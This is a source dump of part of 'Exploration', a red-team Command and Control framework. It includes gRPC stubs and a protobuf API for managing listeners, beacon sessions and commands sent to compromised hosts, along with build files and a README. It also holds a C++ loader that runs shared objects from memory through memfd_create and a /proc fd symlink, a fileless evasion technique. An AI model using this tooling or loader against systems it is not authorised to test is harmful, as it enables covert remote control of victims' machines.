161 | 'GetResponseFromSession': grpc.unary_stream_rpc_method_handler(
162 | servicer.GetResponseFromSession,
163 | request_deserializer=TeamServerApi__pb2.Session.FromString,
164 | response_serializer=TeamServerApi__pb2.CommandResponse.SerializeToString,
165 | ),
166 | 'SendTermCmd': grpc.unary_unary_rpc_method_handler(
167 | servicer.SendTermCmd,
168 | request_deserializer=TeamServerApi__pb2.TermCommand.FromString,
169 | response_serializer=TeamServerApi__pb2.TermCommand.SerializeToString,
170 | ),
171 | }
172 | generic_handler = grpc.method_handlers_generic_handler(
173 | 'teamserverapi.TeamServerApi', rpc_method_handlers)
174 | server.add_generic_rpc_handlers((generic_handler,))
175 | server.add_registered_method_handlers('teamserverapi.TeamServerApi', rpc_method_handlers)
176 |
177 |
178 | # This class is part of an EXPERIMENTAL API.
179 | class TeamServerApi(object):
180 | """Interface exported by the server.
181 | """
182 |
183 | @staticmethod
184 | def GetListeners(request,
185 | target,
186 | options=(),
187 | channel_credentials=None,
188 | call_credentials=None,
189 | insecure=False,
190 | compression=None,
191 | wait_for_ready=None,
192 | timeout=None,
193 | metadata=None):
194 | return grpc.experimental.unary_stream(
195 | request,
196 | target,
197 | '/teamserverapi.TeamServerApi/GetListeners',
198 | TeamServerApi__pb2.Empty.SerializeToString,
199 | TeamServerApi__pb2.Listener.FromString,
200 | options,
201 | channel_credentials,
202 | insecure,
203 | call_credentials,
204 | compression,
205 | wait_for_ready,
206 | timeout,
207 | metadata,
208 | _registered_method=True)
209 |
210 | @staticmethod
211 | def AddListener(request,
212 | target,
213 | options=(),
214 | channel_credentials=None,
215 | call_credentials=None,
216 | insecure=False,
217 | compression=None,
218 | wait_for_ready=None,
219 | timeout=None,
220 | metadata=None):
221 | return grpc.experimental.unary_unary(
222 | request,
223 | target,
224 | '/teamserverapi.TeamServerApi/AddListener',
225 | TeamServerApi__pb2.Listener.SerializeToString,
226 | TeamServerApi__pb2.Response.FromString,
227 | options,
228 | channel_credentials,
229 | insecure,
230 | call_credentials,
231 | compression,
232 | wait_for_ready,
233 | timeout,
234 | metadata,
235 | _registered_method=True)
236 |
237 | @staticmethod
238 | def StopListener(request,
239 | target,
240 | options=(),
241 | channel_credentials=None,
242 | call_credentials=None,
243 | insecure=False,
244 | compression=None,
245 | wait_for_ready=None,
246 | timeout=None,
247 | metadata=None):
248 | return grpc.experimental.unary_unary(
249 | request,
250 | target,
251 | '/teamserverapi.TeamServerApi/StopListener',
252 | TeamServerApi__pb2.Listener.SerializeToString,
253 | TeamServerApi__pb2.Response.FromString,
254 | options,
255 | channel_credentials,
256 | insecure,
257 | call_credentials,
258 | compression,
259 | wait_for_ready,
260 | timeout,
261 | metadata,
262 | _registered_method=True)
263 |
264 | @staticmethod
265 | def GetSessions(request,
266 | target,
267 | options=(),
268 | channel_credentials=None,
269 | call_credentials=None,
270 | insecure=False,
271 | compression=None,
272 | wait_for_ready=None,
273 | timeout=None,
274 | metadata=None):
275 | return grpc.experimental.unary_stream(
276 | request,
277 | target,
278 | '/teamserverapi.TeamServerApi/GetSessions',
279 | TeamServerApi__pb2.Empty.SerializeToString,
280 | TeamServerApi__pb2.Session.FromString,
281 | options,
282 | channel_credentials,
283 | insecure,
284 | call_credentials,
285 | compression,
286 | wait_for_ready,
287 | timeout,
288 | metadata,
289 | _registered_method=True)
290 |
291 | @staticmethod
292 | def StopSession(request,
293 | target,
294 | options=(),
295 | channel_credentials=None,
296 | call_credentials=None,
297 | insecure=False,
298 | compression=None,
299 | wait_for_ready=None,
300 | timeout=None,
301 | metadata=None):
302 | return grpc.experimental.unary_unary(
303 | request,
304 | target,
305 | '/teamserverapi.TeamServerApi/StopSession',
306 | TeamServerApi__pb2.Session.SerializeToString,
307 | TeamServerApi__pb2.Response.FromString,
308 | options,
309 | channel_credentials,
310 | insecure,
311 | call_credentials,
312 | compression,
313 | wait_for_ready,
314 | timeout,
315 | metadata,
316 | _registered_method=True)
317 |
318 | @staticmethod
319 | def GetHelp(request,
320 | target,
321 | options=(),
322 | channel_credentials=None,
323 | call_credentials=None,
324 | insecure=False,
325 | compression=None,
326 | wait_for_ready=None,
327 | timeout=None,
328 | metadata=None):
329 | return grpc.experimental.unary_unary(
330 | request,
331 | target,
332 | '/teamserverapi.TeamServerApi/GetHelp',
333 | TeamServerApi__pb2.Command.SerializeToString,
334 | TeamServerApi__pb2.CommandResponse.FromString,
335 | options,
336 | channel_credentials,
337 | insecure,
338 | call_credentials,
339 | compression,
340 | wait_for_ready,
341 | timeout,
342 | metadata,
343 | _registered_method=True)
344 |
345 | @staticmethod
346 | def SendCmdToSession(request,
347 | target,
348 | options=(),
349 | channel_credentials=None,
350 | call_credentials=None,
351 | insecure=False,
352 | compression=None,
353 | wait_for_ready=None,
354 | timeout=None,
355 | metadata=None):
356 | return grpc.experimental.unary_unary(
357 | request,
358 | target,
359 | '/teamserverapi.TeamServerApi/SendCmdToSession',
360 | TeamServerApi__pb2.Command.SerializeToString,
361 | TeamServerApi__pb2.Response.FromString,
362 | options,
363 | channel_credentials,
364 | insecure,
365 | call_credentials,
366 | compression,
367 | wait_for_ready,
368 | timeout,
369 | metadata,
370 | _registered_method=True)
371 |
372 | @staticmethod
373 | def GetResponseFromSession(request,
374 | target,
375 | options=(),
376 | channel_credentials=None,
377 | call_credentials=None,
378 | insecure=False,
379 | compression=None,
380 | wait_for_ready=None,
381 | timeout=None,
382 | metadata=None):
383 | return grpc.experimental.unary_stream(
384 | request,
385 | target,
386 | '/teamserverapi.TeamServerApi/GetResponseFromSession',
387 | TeamServerApi__pb2.Session.SerializeToString,
388 | TeamServerApi__pb2.CommandResponse.FromString,
389 | options,
390 | channel_credentials,
391 | insecure,
392 | call_credentials,
393 | compression,
394 | wait_for_ready,
395 | timeout,
396 | metadata,
397 | _registered_method=True)
398 |
399 | @staticmethod
400 | def SendTermCmd(request,
401 | target,
402 | options=(),
403 | channel_credentials=None,
404 | call_credentials=None,
405 | insecure=False,
406 | compression=None,
407 | wait_for_ready=None,
408 | timeout=None,
409 | metadata=None):
410 | return grpc.experimental.unary_unary(
411 | request,
412 | target,
413 | '/teamserverapi.TeamServerApi/SendTermCmd',
414 | TeamServerApi__pb2.TermCommand.SerializeToString,
415 | TeamServerApi__pb2.TermCommand.FromString,
416 | options,
417 | channel_credentials,
418 | insecure,
419 | call_credentials,
420 | compression,
421 | wait_for_ready,
422 | timeout,
423 | metadata,
424 | _registered_method=True)
425 |
--------------------------------------------------------------------------------
/C2Client/C2Client/logs/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
--------------------------------------------------------------------------------
/C2Client/pyproject.toml:
--------------------------------------------------------------------------------
1 | [build-system]
2 | requires = ["setuptools", "wheel"]
3 | build-backend = "setuptools.build_meta"
4 |
5 | [project]
6 | name = "C2Client"
7 | version = "0.1.0"
8 | dependencies = [
9 | "setuptools",
10 | "pycryptodome",
11 | "grpcio",
12 | "PyQt5",
13 | "pyqtdarktheme",
14 | "protobuf",
15 | "gitpython",
16 | "requests",
17 | "pwn",
18 | "pefile",
19 | "openai"
20 | ]
21 |
22 | [tool.setuptools.packages.find]
23 | where = ["."]
24 | include = ["C2Client*", "C2Client.libGrpcMessages*", "C2Client.TerminalModules.*"]
25 |
26 | [tool.setuptools.package-data]
27 | C2Client = [
28 | "images/*.svg",
29 | "logs/*",
30 | "Scripts/*.py",
31 | "server.crt",
32 | "libGrpcMessages/build/py/*.py",
33 | "DropperModules.conf"
34 | ]
35 |
36 | [project.scripts]
37 | c2client = "C2Client.GUI:main" # Entry point for CLI tool
38 |
--------------------------------------------------------------------------------
/C2Client/requirements.txt:
--------------------------------------------------------------------------------
1 | pycryptodome
2 | grpcio==1.66.1
3 | PyQt5
4 | pyqtdarktheme
5 | protobuf==5.27.0
6 | gitpython
7 | requests
8 | pwn
9 | pefile
10 | openai
--------------------------------------------------------------------------------
/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.24.0 FATAL_ERROR)
2 |
3 | project(C2TeamServer VERSION 0.0.0 LANGUAGES CXX C)
4 | set(CMAKE_BUILD_TYPE Release)
5 | set(CMAKE_CXX_STANDARD 17)
6 |
7 |
8 | ##
9 | ## Conan Dependencies
10 | ##
11 |
12 | set(CMAKE_PREFIX_PATH ${CMAKE_BINARY_DIR})
13 |
14 | find_package(gRPC REQUIRED)
15 | find_package(OpenSSL REQUIRED)
16 | find_package(protobuf REQUIRED)
17 | find_package(ZLIB REQUIRED)
18 | find_package(spdlog REQUIRED)
19 | find_package(httplib REQUIRED)
20 |
21 | include_directories(${CMAKE_INCLUDE_PATH})
22 |
23 |
24 | ##
25 | ## Config Tests et Logs
26 | ##
27 |
28 | option(WITH_TESTS "Compile for tests" ON)
29 |
30 | option(BUILD_TEAMSERVER "Enable Teamserver config" ON)
31 | add_definitions(-DBUILD_TEAMSERVER)
32 |
33 | if(WITH_TESTS)
34 | add_definitions(-DBUILD_TESTS)
35 | set(SPDLOG_ACTIVE_LEVEL SPDLOG_LEVEL_DEBUG)
36 | endif()
37 |
38 |
39 | ##
40 | ## Build
41 | ##
42 |
43 | include_directories(thirdParty)
44 |
45 | add_subdirectory(libs)
46 |
47 | add_subdirectory(thirdParty)
48 | include_directories(thirdParty/base64)
49 | include_directories(thirdParty/donut/include)
50 | include_directories(thirdParty/coffLoader/coffLoader)
51 | include_directories(thirdParty/coffLoader/coffPacker)
52 |
53 | if(WITH_TESTS)
54 | enable_testing()
55 | endif()
56 |
57 | add_subdirectory(teamServer)
58 | add_subdirectory(core/modules)
59 |
60 | add_subdirectory(certs)
61 |
62 | if(WITH_TESTS)
63 | add_subdirectory(core/listener/tests)
64 | endif()
65 |
66 |
67 |
68 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
2 |
3 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
4 |
5 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Exploration C2 Framework
2 |
3 |
4 |
5 |
6 |
7 | ## Overview
8 |
9 | **Exploration** is a modular and extensible Command and Control (C2) framework designed for red team operations.
10 | This repository includes both the **TeamServer** (backend) and the **Client** (frontend).
11 |
12 | The latest release package contains:
13 | - The C++ **TeamServer**
14 | - The Python **Client**
15 | - Windows modules and beacons from [C2Implant](https://github.com/maxDcb/C2Implant)
16 | - Linux modules and beacons from [C2LinuxImplant](https://github.com/maxDcb/C2LinuxImplant)
17 |
18 | To download the latest release, use the following command:
19 |
20 | ```bash
21 | wget -q $(wget -q -O - 'https://api.github.com/repos/maxDcb/C2TeamServer/releases/latest' | jq -r '.assets[] | select(.name=="Release.tar.gz").browser_download_url') -O ./C2TeamServer.tar.gz \
22 | && mkdir C2TeamServer && tar xf C2TeamServer.tar.gz -C C2TeamServer --strip-components 1
23 | ```
24 |
25 | ## Look and Feel
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 | ## Architecture
37 |
38 | The **TeamServer** is a standalone C++ application that manages listeners and active sessions.
39 | The **Client**, written in Python, interacts with the TeamServer via gRPC.
40 |
41 | Beacons deployed on target machines initiate callbacks to the TeamServer, opening interactive sessions. These sessions can be used to send commands, receive output, and control implants.
42 | Supported communication channels for listeners and beacons include: `TCP`, `SMB`, `HTTP`, and `HTTPS`.
43 |
44 | ## Architecture Diagrams
45 |
46 |
47 |
48 |
49 |
50 | ## Quick Start
51 |
52 | ### Running the TeamServer
53 |
54 | A precompiled version of the TeamServer is available in the release archive. It includes default TLS certificates for gRPC and HTTP communication.
55 |
56 | To launch the TeamServer:
57 |
58 | ```bash
59 | cd Release
60 | ./TeamServer
61 | ```
62 |
63 |
64 |
65 |
66 |
67 | ### Installing and Running the Client
68 |
69 | Install the Python client using `pipx`:
70 |
71 | ```bash
72 | pipx install git+https://github.com/maxDcb/C2TeamServer.git#subdirectory=C2Client
73 | ```
74 |
75 | Set the path to the TeamServer certificate:
76 |
77 | ```bash
78 | export C2_CERT_PATH=/path/to/teamserver/cert/server.crt
79 | ```
80 |
81 | Connect to the TeamServer:
82 |
83 | ```bash
84 | c2client --ip 127.0.0.1 --port 50051 --dev
85 | ```
86 |
87 | > ⚠️ `--dev` disables hostname verification in the gRPC TLS certificate (for development/testing purposes).
88 |
89 | ## Documentation
90 |
91 | For detailed usage, configuration, and module documentation, refer to the [Wiki](https://github.com/maxDcb/C2TeamServer/wiki).
92 |
--------------------------------------------------------------------------------
/Release/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 |
3 | !.gitignore
4 |
5 | !www
6 | !Tools
7 | !TeamServer
8 | !Modules
9 | !Scripts
10 | !Client
11 | !Beacons
--------------------------------------------------------------------------------
/Release/Beacons/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
3 |
4 |
--------------------------------------------------------------------------------
/Release/Modules/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
3 |
--------------------------------------------------------------------------------
/Release/Scripts/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
--------------------------------------------------------------------------------
/Release/TeamServer/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
--------------------------------------------------------------------------------
/Release/TeamServer/logs/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
--------------------------------------------------------------------------------
/Release/Tools/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
--------------------------------------------------------------------------------
/Release/www/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
--------------------------------------------------------------------------------
/certs/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | ## ssl certificat for https listener
2 | if(WIN32)
3 | else()
4 | file(COPY ${CMAKE_SOURCE_DIR}/certs/sslBeaconHttps DESTINATION ${CMAKE_BINARY_DIR}/certs)
5 |
6 | execute_process(COMMAND bash -c "cd ${CMAKE_BINARY_DIR}/certs/sslBeaconHttps && ./genSslCert.sh localhost")
7 |
8 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslBeaconHttps/localhost.key DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/)
9 | #file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.key ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.key)
10 |
11 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslBeaconHttps/localhost.crt DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/)
12 | #file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.crt ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.crt)
13 |
14 | endif()
15 |
16 | ## ssl certificat for TeamServer
17 | if(WIN32)
18 | else()
19 | file(COPY ${CMAKE_SOURCE_DIR}/certs/sslTeamServ DESTINATION ${CMAKE_BINARY_DIR}/certs)
20 |
21 | execute_process(COMMAND bash -c "cd ${CMAKE_BINARY_DIR}/certs/sslTeamServ && ./genSslCert.sh")
22 |
23 | # server.key
24 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslTeamServ/server-key.pem DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/)
25 | file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/server-key.pem ${CMAKE_SOURCE_DIR}/Release/TeamServer/server.key)
26 |
27 | # server.crt
28 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslTeamServ/server.pem DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/)
29 | file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/server.pem ${CMAKE_SOURCE_DIR}/Release/TeamServer/server.crt)
30 |
31 | # rootCA.crt
32 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslTeamServ/ca.pem DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/)
33 | file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/ca.pem ${CMAKE_SOURCE_DIR}/Release/TeamServer/rootCA.crt)
34 | endif()
--------------------------------------------------------------------------------
/certs/sslBeaconHttps/genSslCert.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 |
3 | if [ "$#" -ne 1 ]
4 | then
5 | echo "Error: No domain name argument provided"
6 | echo "Usage: Provide a domain name as an argument"
7 | exit 1
8 | fi
9 |
10 | DOMAIN=$1
11 |
12 | # Create root CA & Private key
13 |
14 | openssl req -x509 \
15 | -sha256 -days 356 \
16 | -nodes \
17 | -newkey rsa:2048 \
18 | -subj "/CN=${DOMAIN}/C=US/L=San Fransisco" \
19 | -keyout rootCA.key -out rootCA.crt
20 |
21 | # Generate Private key
22 |
23 | openssl genrsa -out ${DOMAIN}.key 2048
24 |
25 | # Create csf conf
26 |
27 | cat > csr.conf < cert.conf <
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/images/architecture.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/images/architecture.png
--------------------------------------------------------------------------------
/images/coffDir.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/images/coffDir.png
--------------------------------------------------------------------------------
/images/loadModule.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/images/loadModule.png
--------------------------------------------------------------------------------
/libs/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | # Collect .proto files
2 | file(COPY ${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/ DESTINATION ${CMAKE_BINARY_DIR}/libs/libGrpcMessages/)
3 |
4 | file(GLOB PROTO_FILES "${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/src/*.proto")
5 |
6 | # Generate C++ gRPC files
7 | execute_process(
8 | COMMAND ${Protobuf_PROTOC_EXECUTABLE}
9 | -I=${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/src/
10 | --grpc_out=${CMAKE_BINARY_DIR}/libs/libGrpcMessages/build/cpp/src
11 | --cpp_out=${CMAKE_BINARY_DIR}/libs/libGrpcMessages/build/cpp/src
12 | --plugin=protoc-gen-grpc=${GRPC_CPP_PLUGIN_PROGRAM}
13 | ${PROTO_FILES}
14 | RESULT_VARIABLE ret1
15 | )
16 |
17 | if(NOT ret1 EQUAL 0)
18 | message(FATAL_ERROR "C++ gRPC generation failed with status: ${ret1}")
19 | endif()
20 |
21 | # Generate Python gRPC files
22 | execute_process(
23 | COMMAND ${Protobuf_PROTOC_EXECUTABLE}
24 | -I=${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/src/
25 | --grpc_out=${CMAKE_SOURCE_DIR}/C2Client/C2Client/libGrpcMessages/build/py
26 | --python_out=${CMAKE_SOURCE_DIR}/C2Client/C2Client/libGrpcMessages/build/py
27 | --plugin=protoc-gen-grpc=${GRPC_PYTHON_PLUGIN_PROGRAM}
28 | ${PROTO_FILES}
29 | RESULT_VARIABLE ret2
30 | )
31 |
32 | if(NOT ret2 EQUAL 0)
33 | message(FATAL_ERROR "Python gRPC generation failed with status: ${ret2}")
34 | endif()
35 |
36 | add_subdirectory(libGrpcMessages)
37 |
38 | add_subdirectory(libSocketHandler)
39 |
40 | add_subdirectory(libDns)
41 |
42 | add_subdirectory(libMemoryModuleDumy)
43 | add_subdirectory(libPipeHandlerDumy)
44 | add_subdirectory(libSocks5)
--------------------------------------------------------------------------------
/libs/libGrpcMessages/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.24)
2 |
3 | add_subdirectory(build/cpp/)
--------------------------------------------------------------------------------
/libs/libGrpcMessages/build/cpp/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.24)
2 | project(GrpcMessages)
3 |
4 | set(DEFAULT_BUILD_TYPE "Release")
5 | set(CMAKE_CXX_STANDARD 17)
6 | set(CMAKE_CXX_STANDARD_REQUIRED ON)
7 |
8 | file(GLOB_RECURSE SOURCE_FILES ${CMAKE_CURRENT_BINARY_DIR}/src/*.pb.cc)
9 |
10 | include_directories(
11 | ./src/
12 | ${protobuf_INCLUDE_DIRS}
13 | ${gRPC_INCLUDE_DIRS}
14 | ${absl_INCLUDE_DIRS}
15 | )
16 |
17 | add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES})
18 | target_include_directories(${PROJECT_NAME} PUBLIC ${CMAKE_CURRENT_BINARY_DIR}/src)
19 |
--------------------------------------------------------------------------------
/libs/libGrpcMessages/build/cpp/src/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
3 | !MakefileLinux
4 |
--------------------------------------------------------------------------------
/libs/libGrpcMessages/src/TeamServerApi.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package teamserverapi;
4 |
5 |
6 | // Interface exported by the server.
7 | service TeamServerApi
8 | {
9 | rpc GetListeners(Empty) returns (stream Listener) {}
10 | rpc AddListener(Listener) returns (Response) {}
11 | rpc StopListener(Listener) returns (Response) {}
12 |
13 | rpc GetSessions(Empty) returns (stream Session) {}
14 | rpc StopSession(Session) returns (Response) {}
15 |
16 | rpc GetHelp(Command) returns (CommandResponse) {}
17 | rpc SendCmdToSession(Command) returns (Response) {}
18 | rpc GetResponseFromSession(Session) returns (stream CommandResponse) {}
19 |
20 | rpc SendTermCmd(TermCommand) returns (TermCommand) {}
21 | }
22 |
23 |
24 | message Empty
25 | {
26 | }
27 |
28 |
29 | enum Status
30 | {
31 | OK = 0;
32 | KO = 1;
33 | }
34 |
35 |
36 | message Response
37 | {
38 | Status status = 1;
39 | bytes message = 2;
40 | }
41 |
42 |
43 | message Listener
44 | {
45 | string listenerHash = 1;
46 | string type = 2;
47 | int32 port = 3;
48 | string ip = 4;
49 | string project = 6;
50 | string token = 7;
51 | string domain = 8;
52 | int32 numberOfSession = 5;
53 | string beaconHash = 9;
54 | }
55 |
56 |
57 | message Session
58 | {
59 | string beaconHash = 1;
60 | string listenerHash = 2;
61 | string hostname = 3;
62 | string username = 4;
63 | string arch = 5;
64 | string privilege = 6;
65 | string os = 7;
66 | string lastProofOfLife = 8;
67 | bool killed = 9;
68 | string internalIps = 10;
69 | string processId = 11;
70 | string additionalInformation = 12;
71 | }
72 |
73 |
74 | message Command
75 | {
76 | string beaconHash = 1;
77 | string listenerHash = 2;
78 | string cmd = 3;
79 | }
80 |
81 |
82 | message CommandResponse
83 | {
84 | string beaconHash = 1;
85 | string instruction = 2;
86 | string cmd = 3;
87 | bytes response = 4;
88 | }
89 |
90 |
91 | message TermCommand
92 | {
93 | string cmd = 1;
94 | string result = 2;
95 | bytes data = 3;
96 | }
97 |
--------------------------------------------------------------------------------
/libs/libMemoryModuleDumy/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.24)
2 | project(MemoryModule VERSION 1.0.0 LANGUAGES CXX)
3 |
4 | set(DEFAULT_BUILD_TYPE "Release")
5 | set(CMAKE_CXX_STANDARD 14)
6 | set(CMAKE_CXX_STANDARD_REQUIRED ON)
7 |
8 | set(SOURCE_FILES
9 | src/MemoryModule.cpp
10 | )
11 |
12 | include_directories(../src)
13 |
14 | add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES})
15 | target_include_directories(${PROJECT_NAME} PUBLIC src)
16 | set_property(TARGET ${PROJECT_NAME} PROPERTY POSITION_INDEPENDENT_CODE ON)
17 | target_link_libraries(${PROJECT_NAME} dl rt)
18 |
19 | add_subdirectory(tests)
20 |
--------------------------------------------------------------------------------
/libs/libMemoryModuleDumy/README.md:
--------------------------------------------------------------------------------
1 | # PipeHandler
2 |
3 | ## Requirement
4 |
5 | Client can connect and disconnect at any time.
6 |
7 | Server can connect and disconnect at any time.
8 |
9 | Multiple client should be able to connect to the same server.
10 |
11 | Client and Server are monothread.
--------------------------------------------------------------------------------
/libs/libMemoryModuleDumy/src/MemoryModule.cpp:
--------------------------------------------------------------------------------
1 | #include "MemoryModule.h"
2 |
3 | #include
4 |
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 |
12 | void generateRandomShmName(char *name, size_t length)
13 | {
14 | // Define the character set to choose from
15 | const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
16 | size_t charsetSize = sizeof(charset) - 1;
17 |
18 | // Seed the random number generator (if not already done)
19 | srand(time(NULL));
20 |
21 | // Generate random characters
22 | for (size_t i = 0; i < length; i++) {
23 | int randomIndex = rand() % charsetSize;
24 | name[i] = charset[randomIndex];
25 | }
26 |
27 | // Null-terminate the string
28 | name[length] = '\0';
29 | }
30 |
31 |
32 | int kernel_version()
33 | {
34 | struct utsname buffer;
35 | uname(&buffer);
36 |
37 | // printf("system name = %s\n", buffer.sysname);
38 | // printf("node name = %s\n", buffer.nodename);
39 | // printf("release = %s\n", buffer.release);
40 | // printf("version = %s\n", buffer.version);
41 | // printf("machine = %s\n", buffer.machine);
42 |
43 | long ver[16];
44 | char* p = buffer.release;
45 | int i=0;
46 |
47 | while (*p) {
48 | if (isdigit(*p)) {
49 | ver[i] = strtol(p, &p, 10);
50 | i++;
51 | } else {
52 | p++;
53 | }
54 | }
55 |
56 | // printf("Kernel %ld Major %ld Minor %ld Patch %ld\n", ver[0], ver[1], ver[2], ver[3]);
57 |
58 | if (ver[0] < 3)
59 | return 0;
60 | else if (ver[0] > 3)
61 | return 1;
62 | if (ver[1] < 17)
63 | return 0;
64 | else
65 | return 1;
66 | }
67 |
68 |
69 | HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size)
70 | {
71 | char shmName[6];
72 | generateRandomShmName(shmName, 5);
73 |
74 | //
75 | // create the shms
76 | //
77 | int shm_fd;
78 |
79 | // std::cout << "kernel_version() " << kernel_version() << std::endl;
80 |
81 | //If we have a kernel < 3.17
82 | if (kernel_version() == 0)
83 | {
84 | shm_fd = shm_open(shmName, O_RDWR | O_CREAT, S_IRWXU);
85 | if (shm_fd < 0)
86 | {
87 | // fprintf(stderr, "[-] Could not open file descriptor\n");
88 | return nullptr;
89 | }
90 | }
91 | // If we have a kernel >= 3.17
92 | else
93 | {
94 | shm_fd = memfd_create(shmName, 1);
95 | if (shm_fd < 0)
96 | {
97 | // fprintf(stderr, "[-] Could not open file descriptor\n");
98 | return nullptr;
99 | }
100 | }
101 |
102 | // memcpy in shm
103 | write(shm_fd, moduleData, size);
104 |
105 | void *handle=NULL;
106 |
107 | // printf("[+] Trying to load Shared Object!\n");
108 | if(kernel_version() == 0)
109 | {
110 | std::string path = "/dev/shm/";
111 | path+=shmName;
112 |
113 | handle = dlopen(path.c_str(), RTLD_LAZY);
114 |
115 | close(shm_fd);
116 | shm_unlink(path.c_str());
117 | }
118 | else
119 | {
120 | // When we pass the file descriptor, as the number is alwayse the same dlopen give use the same handle everytime
121 | // We create a syslink with a random name to bypass this restriction
122 | std::string path = "/proc/";
123 | path+=std::to_string(getpid());
124 | path+="/fd/";
125 | path+=std::to_string(shm_fd);
126 |
127 | std::string symlinkPath = "/tmp/";
128 | symlinkPath+=shmName;
129 |
130 | symlink(path.c_str(), symlinkPath.c_str());
131 |
132 | handle = dlopen(symlinkPath.c_str(), RTLD_LAZY);
133 |
134 | unlink(symlinkPath.c_str());
135 | close(shm_fd);
136 | }
137 |
138 | return handle;
139 | }
140 |
141 |
142 | void MemoryFreeLibrary(HMEMORYMODULE mod)
143 | {
144 | dlclose(mod);
145 | }
146 |
147 |
148 | void* MemoryGetProcAddress(HMEMORYMODULE mod, const char* procName)
149 | {
150 | return dlsym(mod, procName);
151 | }
--------------------------------------------------------------------------------
/libs/libMemoryModuleDumy/src/MemoryModule.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 |
7 | typedef void *HMEMORYMODULE;
8 |
9 | HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size);
10 |
11 | void MemoryFreeLibrary(HMEMORYMODULE mod);
12 |
13 | void* MemoryGetProcAddress(HMEMORYMODULE mod, const char* procName);
--------------------------------------------------------------------------------
/libs/libMemoryModuleDumy/tests/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | add_executable(TestsMemoryModule "Tests.cpp" )
